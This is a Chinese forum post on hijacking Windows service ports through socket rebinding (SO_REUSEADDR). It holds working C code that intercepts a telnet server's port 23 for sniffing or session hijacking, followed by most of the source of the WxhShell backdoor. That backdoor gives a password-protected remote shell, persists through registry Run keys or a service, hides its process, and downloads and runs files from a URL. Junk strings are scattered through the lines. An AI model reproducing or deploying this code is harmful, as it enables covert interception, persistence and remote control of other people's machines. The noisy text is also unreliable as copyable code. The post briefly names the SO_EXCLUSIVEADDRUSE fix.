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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :Djp\ e6!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m 1;jS|  
kniMXeiu  
  saddr.sin_family = AF_INET; pQ\ [F  
VX%\_@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /L Tyiiz6  
6K0*?j{;"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jO.E#Ei}~  
Q;M\P/f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m"}G-#  
C5 !n {  
  这意味着什么?意味着可以进行如下的攻击: R>q'Ymu~  
J[AgOUc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0:8'Ov(  
FX 3[U+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xI8*sTx 6  
)Me&xQTn  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p}z0(lQ*~  
u'> CU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1 j8,Zrg1  
,:,|A/U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9] \vw  
5+Ut]AL5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n|6yz[N  
K.7gd1I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `9gx-')]\  
jm"xf7  
  #include pn|{P<b\  
  #include "de:plMofy  
  #include HOG7||&y  
  #include    O}V2> W$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \O~P !`  
  int main() B~rK3BS  
  { G_]mNh  
  WORD wVersionRequested; Bnv%W4  
  DWORD ret; R4;6Oi)  
  WSADATA wsaData; lHXH03  
  BOOL val; zYsGI<4  
  SOCKADDR_IN saddr; ~K`bl W47  
  SOCKADDR_IN scaddr;  ovO^uWz`  
  int err; V5MbWXgR  
  SOCKET s; 'r CR8>k  
  SOCKET sc; E~Nr4vq  
  int caddsize; Y8T.RS0  
  HANDLE mt; 6qf`P!7d]M  
  DWORD tid;   ER+[gT1CQ  
  wVersionRequested = MAKEWORD( 2, 2 ); uy~j$lrn  
  err = WSAStartup( wVersionRequested, &wsaData ); v\C+G[MV 7  
  if ( err != 0 ) { Mt`.|N;y!  
  printf("error!WSAStartup failed!\n"); b"b!&u  
  return -1; S]m[$)U%@  
  } ~Ua0pS?  
  saddr.sin_family = AF_INET; ?9"glzxr  
   7Jk.U=vY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {`> x"Y5  
x1h!_^(QfF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =JkSq J)?  
  saddr.sin_port = htons(23); #s%$kYp 1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) COafVlJ,l  
  { \D=B-dREq  
  printf("error!socket failed!\n"); J/Li{xp)Lg  
  return -1; l ki(_ @3  
  } 8:MYeE5  
  val = TRUE; Q@R8qc=*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (%1*<6ka  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *:(t.iL  
  { $fKWB5p|()  
  printf("error!setsockopt failed!\n"); kQ+5p Fo3  
  return -1; HZNX1aQ|Q#  
  } v:'y&yS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2+HiaYDZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #]2u!a ma  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .:}\Z27-c  
t<tBOesQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y5I7pbe  
  { "2-TtQV!  
  ret=GetLastError(); p-Ju&4fS  
  printf("error!bind failed!\n"); 2bmppDk  
  return -1; _4+1c5Q!  
  } ~n?U{ RmH  
  listen(s,2); 5:wf"3%%  
  while(1) O{PRK5^h  
  {  NNX/2  
  caddsize = sizeof(scaddr); 'J}lnt[V  
  //接受连接请求 9 +6"<r!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H;8(y4;  
  if(sc!=INVALID_SOCKET) vs +N{ V  
  { W+vm!7wX0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iBQftq7  
  if(mt==NULL) /e}k7U,^  
  {  2B#WWb  
  printf("Thread Creat Failed!\n"); Q5ux**(Wr  
  break; (@ Bw@9  
  } Wo&i)S<i0F  
  } %zGPF  
  CloseHandle(mt); Rp#SqRy`  
  } ETtR*5Y 5  
  closesocket(s); =S,^"D\Z:  
  WSACleanup(); <7XdT  
  return 0; b\?`721BG  
  }   .*,ZcO  
  DWORD WINAPI ClientThread(LPVOID lpParam) *T3"U|0_y  
  { n(L {2r  
  SOCKET ss = (SOCKET)lpParam; ^,3 >}PU  
  SOCKET sc; f' eKX7R  
  unsigned char buf[4096]; .s+e hZ  
  SOCKADDR_IN saddr; KvgZx(.  
  long num; Aq-v3$XL  
  DWORD val; j>U.(K  
  DWORD ret; ~vgW:]i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pT <H&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <NUZPX29  
  saddr.sin_family = AF_INET; cWi2Sls  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5g=" #  
  saddr.sin_port = htons(23); ],LOkAX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >v(Xc/oI  
  { ^0 t`EZ$  
  printf("error!socket failed!\n"); |laq y`D  
  return -1; FUQT,7CA  
  } ` H"5nQRV  
  val = 100; NQb?&.C   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >U17BGJ.  
  { (HEjmQjE  
  ret = GetLastError(); |:AjQ&PM)  
  return -1; T@L^RaPX  
  } E'C[+iK6,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wz ,woF|  
  { ]2<g"zo0  
  ret = GetLastError(); `f (!i mN  
  return -1; *]rV,\z:  
  } %V$^CWOy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hX^XtIC=  
  { R75sK(oS  
  printf("error!socket connect failed!\n"); 54k Dez  
  closesocket(sc); >+1bTt/-F  
  closesocket(ss); {uw]s< 6  
  return -1; tlW}lN}  
  } )TxhJB5|  
  while(1) KS%,N _F<  
  { V/03m3!q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >uVG]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F$caKWzny5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _C##U;e!  
  num = recv(ss,buf,4096,0); zUOYH4+  
  if(num>0) 4:K9FqU  
  send(sc,buf,num,0); }\9qN!ol  
  else if(num==0) Q5Wb)  
  break; {5,CW  
  num = recv(sc,buf,4096,0); 5EU3BVu&u  
  if(num>0) >yaRz+  
  send(ss,buf,num,0); jWm<!< ~  
  else if(num==0) -1@kt<Es  
  break; =lzjMRX(?  
  } a^CIJ.P2  
  closesocket(ss); F:n7yey  
  closesocket(sc); 3o1j l2n  
  return 0 ; a+Z/=YUR  
  } "Aynt_a.  
m$U2|5un&  
H7uW|'XWz  
========================================================== +UB. M  
S2`p&\Ifn  
下边附上一个代码,,WXhSHELL GhX>YzD7  
oRCj]9I$  
========================================================== XX+4X*(o  
+ 5 05  
#include "stdafx.h" G-Y8<mEh  
Baq&>]  
#include <stdio.h> Tfj%Sb,zM  
#include <string.h> +] FdgmK:  
#include <windows.h> N^O.P  
#include <winsock2.h> V ] Z{0  
#include <winsvc.h> gI[x OK#  
#include <urlmon.h> W&* 0F~  
vzfWPjpKW  
#pragma comment (lib, "Ws2_32.lib") fi1tF/ `  
#pragma comment (lib, "urlmon.lib") %kF6y_h`  
D&.+Dx^G  
#define MAX_USER   100 // 最大客户端连接数 LnLuWr<;}  
#define BUF_SOCK   200 // sock buffer o_{-X 1w  
#define KEY_BUFF   255 // 输入 buffer t)5bHVx  
O Qd,.m  
#define REBOOT     0   // 重启 <_h  
#define SHUTDOWN   1   // 关机 "zv?qS  
Ty7x jIs  
#define DEF_PORT   5000 // 监听端口 ^W;\faG  
Mu TlN  
#define REG_LEN     16   // 注册表键长度 g$uj<"^  
#define SVC_LEN     80   // NT服务名长度 orJN#0v4  
%?K'eg kp  
// 从dll定义API <5=^s%H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *!vwW T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2|m461   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |SCO9,Fs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '};pu;GA7  
2WqjNqx)6  
// wxhshell配置信息 ^`ny]3JA  
struct WSCFG { {ymD.vf=9+  
  int ws_port;         // 监听端口 K;Fy&p^d  
  char ws_passstr[REG_LEN]; // 口令 )A,M T i  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7V?TLGgd$  
  char ws_regname[REG_LEN]; // 注册表键名 \#L}KW  
  char ws_svcname[REG_LEN]; // 服务名 (r.[b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 : W^ k3/t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9[T}cN=|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rQCj^=cf;~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ju# - >]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Dz8)u:vRS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~~z} yCl  
 `i;f  
};  "H#2  
8do-z"-  
// default Wxhshell configuration eX>x +]l6  
struct WSCFG wscfg={DEF_PORT, U8 '}(  
    "xuhuanlingzhe", TF2'-"2Y  
    1, h<JV6h:8  
    "Wxhshell", C`Zz\DNG@  
    "Wxhshell", > <^ ,  
            "WxhShell Service", @w?hX K=  
    "Wrsky Windows CmdShell Service", saY":fva  
    "Please Input Your Password: ", c3lU  
  1, t 7dcaNBZ  
  "http://www.wrsky.com/wxhshell.exe", %d3qMnYu  
  "Wxhshell.exe" E {*d`n  
    }; 3,t3\`=  
<<4U:  
// 消息定义模块 t[ cHdI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @X5F$=aqZr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d[=~-[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JYc;6p$<i  
char *msg_ws_ext="\n\rExit."; R `  
char *msg_ws_end="\n\rQuit."; vL}e1V:  
char *msg_ws_boot="\n\rReboot..."; ^\KZE|^3@  
char *msg_ws_poff="\n\rShutdown..."; >8PGyc*9  
char *msg_ws_down="\n\rSave to "; -Q9} gaH_  
d0YDNP%,_  
char *msg_ws_err="\n\rErr!"; muc6gwBp  
char *msg_ws_ok="\n\rOK!"; lk;4l Z  
m7!M stu  
char ExeFile[MAX_PATH]; HHzAmHt  
int nUser = 0; x}B3h9]  
HANDLE handles[MAX_USER]; [7 _1GSS1  
int OsIsNt; hv (>9N  
opqY@>Vh&  
SERVICE_STATUS       serviceStatus; Y`3V&8X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "n'kv!?\  
Ht pZ5  
// 函数声明 t>Lq "]1  
int Install(void); db#svj*  
int Uninstall(void); m) QV2n  
int DownloadFile(char *sURL, SOCKET wsh); wNl{,aH@  
int Boot(int flag); -c4g;;%  
void HideProc(void); mBN+c9n/  
int GetOsVer(void); :J6 xYy$  
int Wxhshell(SOCKET wsl); $ra q,SP  
void TalkWithClient(void *cs); %^Zu^uu   
int CmdShell(SOCKET sock); S\io5|P  
int StartFromService(void); RqB 8g  
int StartWxhshell(LPSTR lpCmdLine); 4 ))ZBq?  
A*^aBWFR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JCFiKt9n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Dk%+|c  
2fN2!OT  
// 数据结构和表定义 8n??/VDRl  
SERVICE_TABLE_ENTRY DispatchTable[] = z* k(` '  
{ [] cF*en  
{wscfg.ws_svcname, NTServiceMain}, _3%eIyk4T  
{NULL, NULL} Zo`_vx/{j  
}; ]sLdz^E3D  
[8jIu&tJf  
// 自我安装 w#}[=jy  
int Install(void) uo`zAKM&A  
{ #;D@`.#\  
  char svExeFile[MAX_PATH]; '2XIeR  
  HKEY key; nEHmiG  
  strcpy(svExeFile,ExeFile); y~Z7sx0  
ghU~H4[xD  
// 如果是win9x系统,修改注册表设为自启动 ` {/"?s|  
if(!OsIsNt) { qBF6LhR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YC[c QX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +9exap27  
  RegCloseKey(key); /#}o19(-d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;x.5_Xw{.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3FY87R   
  RegCloseKey(key); V9Pw\K!w#\  
  return 0; 9$f%  
    } &ea6YQ  
  } Y[!s:3\f  
} fDjJdRS"  
else { swKqsN.  
3!M|Sf<s  
// 如果是NT以上系统,安装为系统服务 'C7$,H'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 70 -nAv  
if (schSCManager!=0) twMDEw#VL  
{ u+ b `aB  
  SC_HANDLE schService = CreateService T].Xx`  
  ( zb3,2D+P  
  schSCManager, i"#pk"@`  
  wscfg.ws_svcname, G4rd<V0[D  
  wscfg.ws_svcdisp, ^u(-v/D9  
  SERVICE_ALL_ACCESS, "% l``  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $+|. @ss  
  SERVICE_AUTO_START, E5qt~:C|  
  SERVICE_ERROR_NORMAL, i0n u5kD+d  
  svExeFile, ?t)Mt]("  
  NULL, a(IUAh*mO  
  NULL, X'{ o/U.  
  NULL, smKp3_r  
  NULL, DGbEQiX$\  
  NULL _9yW; i-  
  ); I;Pd}A_}=_  
  if (schService!=0) yXQ 28A  
  { ZZM;%i-B  
  CloseServiceHandle(schService); .WLwAL  
  CloseServiceHandle(schSCManager); u-M Td  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #+&"m7 s  
  strcat(svExeFile,wscfg.ws_svcname); tH=jaFJ   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <!=:{&d%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GC`/\~TM  
  RegCloseKey(key); v, |jmv+:  
  return 0; MzMVs3w|  
    } wEZieHw  
  } %mAwK<MY`  
  CloseServiceHandle(schSCManager); bgeJVI  
} MFn\[J`Ra  
} qnFg7X>C,  
c+{ ar^)*  
return 1; ` ZBOaN^if  
} ^EJ]LNk }  
@ 3rJ$6W  
// 自我卸载 3"Zc|Ck <?  
int Uninstall(void) .=N?;i  
{ )# v}8aL  
  HKEY key; ka@yQV  
5(t hDZ!  
if(!OsIsNt) { QtA@p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (y s<{Y-;  
  RegDeleteValue(key,wscfg.ws_regname); F9k}zAY\J  
  RegCloseKey(key); 4C[kj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?$MO!  
  RegDeleteValue(key,wscfg.ws_regname); Rrrq>{D  
  RegCloseKey(key); 4-BrE&2f  
  return 0; {A~3/M%74;  
  } (%'`t(<  
} &Qe2 }e$  
} `ff@f]|3^  
else { >}B53.;.k  
YJ+l \Wb}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7+Er}y>  
if (schSCManager!=0) 9* P-k.Bl  
{ WDI3*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FqZD'Uu7  
  if (schService!=0) s<;{q+1#  
  { YZAQt* x  
  if(DeleteService(schService)!=0) { <qVOd.9c  
  CloseServiceHandle(schService); b/_u\R ]-'  
  CloseServiceHandle(schSCManager); kzVK%[/  
  return 0; &oE'|^G  
  } {11 3B)  
  CloseServiceHandle(schService);  ;{Yr|  
  } /.(~=6o5  
  CloseServiceHandle(schSCManager); dt0(04  
} l,5isq ;m  
} E5?$=cL?  
dXPTW;w  
return 1; e5D\m g)  
} Wngc(+6O&  
_q4Yq'dI  
// 从指定url下载文件 Fr-Vq =j&  
int DownloadFile(char *sURL, SOCKET wsh) H vHy{S4  
{ ]F"P3':  
  HRESULT hr;  He%v4S  
char seps[]= "/"; >3,}^`l  
char *token; {N << JX  
char *file; ^9]g5.z:  
char myURL[MAX_PATH]; H6Ytp^~>  
char myFILE[MAX_PATH]; _0y]U];ce  
OKAmw >{  
strcpy(myURL,sURL); mKoDy`s  
  token=strtok(myURL,seps); ['Qh#^p  
  while(token!=NULL) If8Lt}-  
  { ]z]=?;ty%  
    file=token; \TLfLqA  
  token=strtok(NULL,seps); t>Yl= 79,  
  } pq%inSY  
ol~ tfS  
GetCurrentDirectory(MAX_PATH,myFILE); ~i.rk#{?D  
strcat(myFILE, "\\"); EN__C$  
strcat(myFILE, file); G5lBCm   
  send(wsh,myFILE,strlen(myFILE),0); fm$Qd^E|e  
send(wsh,"...",3,0); !^EA}N.u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N'PK4:  
  if(hr==S_OK) ~Lq`a@]A  
return 0; YV'B*arIA  
else Esm=sPW  
return 1; P`S'F_IN  
l3y}nh+ 8  
} P~V ^Efz{  
J\ N&u#  
// 系统电源模块 Od~ e*gA8  
int Boot(int flag) *q;83\  
{ WR u/7$8  
  HANDLE hToken; D&=+PAX  
  TOKEN_PRIVILEGES tkp; X5(oL  
JEK_W<BD  
  if(OsIsNt) { <<V"4 C2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '3~m},0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =>JA; ft  
    tkp.PrivilegeCount = 1; \9~Q+~@{G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F&C< = l\X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Urol)_3X  
if(flag==REBOOT) { `)kxFD_bH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :2+z_+k}<  
  return 0; 3#aLCpVla  
} ^5)=) xVF  
else { \tA@A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x TqP`ljX  
  return 0; #ApmJLeCO  
} cEn|Q  
  } #Zi6N  
  else { VCT1GsnE  
if(flag==REBOOT) { 7<(kvE*x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \w&R`;b8w  
  return 0; Iu(]i?Y  
} ZXf& pqmG  
else { fF2] 7:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mRt/ d  
  return 0; :fUNc^\2  
} jkAru_C  
} 06`caG|]-M  
l\!`ZhM,  
return 1; Fu% n8  
} >"z`))9  
} Fli  
// win9x进程隐藏模块 s#aane  
void HideProc(void) xgtx5tg  
{ ~S<}q6H.  
_,? xc"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5g;mc.Cvt  
  if ( hKernel != NULL ) Pa=xc>m^  
  { jthyZZ   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y1F%-o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XsSDz}dg  
    FreeLibrary(hKernel); fo <nk|i  
  } |oQhtk8.  
p^Z|$aZZ  
return; [.$/o}  
} p9!jM\(  
DcC|oU[  
// 获取操作系统版本 d7uS[tKqg  
int GetOsVer(void) #Fgybokm  
{ 2Ky|+s[`[  
  OSVERSIONINFO winfo; {bC(>k|CQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5A%Uv*  
  GetVersionEx(&winfo); ]vw%J ^7:a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u Tdz$Nh  
  return 1; F^lau f  
  else {IF$\{Al  
  return 0; QHsJo|.  
} #miG"2ea..  
BqavI&1=  
// 客户端句柄模块 AmUH]+5KT  
int Wxhshell(SOCKET wsl) MM&qLAa"f  
{ M+)ENv e  
  SOCKET wsh; K_;?Sr=  
  struct sockaddr_in client; [<}W S} .  
  DWORD myID; zFY$^Oz"_  
+x?8\  
  while(nUser<MAX_USER) };'~@%U]/  
{ .R#<Q  
  int nSize=sizeof(client); kt7Emb}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2+K - I  
  if(wsh==INVALID_SOCKET) return 1; Cd_H<8__  
%fXgV\xY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,,g: x  
if(handles[nUser]==0) m!(dk]  
  closesocket(wsh); g3!<A*<  
else ]6MXG%  
  nUser++; DZ:$p.  
  } +S1h~@c:B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \_)mWK,h  
p77=~s  
  return 0; '*`1uomeo  
} zQB1C  
T:!H^  
// 关闭 socket sdKm@p|/|  
void CloseIt(SOCKET wsh) [vnxp/v/<  
{ |-%dN }O  
closesocket(wsh); yb\!4ml  
nUser--; ,o0[^-b<  
ExitThread(0); s -F3(mc(  
} -AQ 7Bd  
R-2Aby ts2  
// 客户端请求句柄 d7Z$/ $  
void TalkWithClient(void *cs) I]Z"?T  
{ 2Y;iqR  
_+Uf5,.5yU  
  SOCKET wsh=(SOCKET)cs; {>Qs+]  
  char pwd[SVC_LEN]; COxJ,v(  
  char cmd[KEY_BUFF]; 6rlM\k@!  
char chr[1]; ;Wn0-`_1,  
int i,j; y+7A?"s)  
"rrE_  
  while (nUser < MAX_USER) { iE]^ 6i  
@y|JIBBRc  
if(wscfg.ws_passstr) {  \Awqr:A&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !$Arc^7r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w-Q=oEt  
  //ZeroMemory(pwd,KEY_BUFF); R78P](1\>  
      i=0; ! OOOc  
  while(i<SVC_LEN) { /~g.j1g  
d:h X3  
  // 设置超时 A8ClkLC;I  
  fd_set FdRead; #-PUm0|  
  struct timeval TimeOut; g{hbq[>X]  
  FD_ZERO(&FdRead); D&6.> wt .  
  FD_SET(wsh,&FdRead); "&\]1A}Z-x  
  TimeOut.tv_sec=8; {!pYQ|#  
  TimeOut.tv_usec=0; x139Ckn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #BIY[{!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .]; `  
Tq%##  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~-A"M_n ?  
  pwd=chr[0]; =05jjR1  
  if(chr[0]==0xd || chr[0]==0xa) { //#]CsFiP  
  pwd=0; $ \ I|6[P  
  break; h|EHK!<"8  
  } x`K"1E{2  
  i++; '~xjaa;.  
    } u}jC$T>2%6  
7[M@;$  
  // 如果是非法用户,关闭 socket z~jk_|?|?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &qm:36Y7Xg  
} Eq5X/Hx  
0}\8,U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }jL4F$wC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ItG|{Bo  
n&E/{o(  
while(1) { eM^Y  
"gXvnl  
  ZeroMemory(cmd,KEY_BUFF); J^mm"2  
oho~?.F  
      // 自动支持客户端 telnet标准   Rts}y:44  
  j=0; UJ&gm_M+kL  
  while(j<KEY_BUFF) { %vU*4mH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3`ze<K((  
  cmd[j]=chr[0]; _2xYDi  
  if(chr[0]==0xa || chr[0]==0xd) { okBaQH2lUl  
  cmd[j]=0; B,A\/%<  
  break; '~pZj"uy  
  } ^!K 8nW{*  
  j++; E{'\(6z_  
    } J*qo3aJjE  
/ KKA/  
  // 下载文件 A$]#f  
  if(strstr(cmd,"http://")) { Hnbd<?y   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;{"uG>#R  
  if(DownloadFile(cmd,wsh)) I! ~3xZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QaAMiCZFR  
  else ?WrL<?r)}U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); inyS4tb  
  } ?MJ5GVeH  
  else { w)Y}hlcq  
D^w<V%] .  
    switch(cmd[0]) { 2/l4,x  
  d)v!U+-|'  
  // 帮助 WZ ,t~TN  
  case '?': {  >fgV!o4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w%kaM=  
    break; %&4\'lE  
  } Xgo`XsA  
  // 安装 }Q{4G  
  case 'i': { *G,r:Bnb  
    if(Install()) o%v,6yv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `R o>?H  
    else z9^_5la#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Zi&=Zj"  
    break; [Mlmn$it  
    } uF]+i^+  
  // 卸载 T`)uR*$  
  case 'r': { 4?~Ei[KgQn  
    if(Uninstall()) d6"B_,*b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E>qehs,g  
    else cONfHl{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 58/\  
    break; 2Zw]Uu`sb  
    } suZ`  
  // 显示 wxhshell 所在路径 Jry643K>:;  
  case 'p': { H=5#cPI#(^  
    char svExeFile[MAX_PATH]; v0 |"[qGb  
    strcpy(svExeFile,"\n\r"); t Ow[  
      strcat(svExeFile,ExeFile); b/eo]Id]  
        send(wsh,svExeFile,strlen(svExeFile),0); avH3{V  
    break; U,nQnD"!t&  
    } BC1P3Sk 6X  
  // 重启 %(kf#[zQ  
  case 'b': { K#plSD^f=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +,bgOq\aG  
    if(Boot(REBOOT)) LP}YH W/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x`p3I*_HT5  
    else { .y~~[QF}8  
    closesocket(wsh); "RsH'`  
    ExitThread(0); yykyvy  
    } 7:&a,nU  
    break; 8R.`*  
    } D{s4Bo-  
  // 关机 3S1`av(tD  
  case 'd': { +4Lj}8,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p:8]jD@}%  
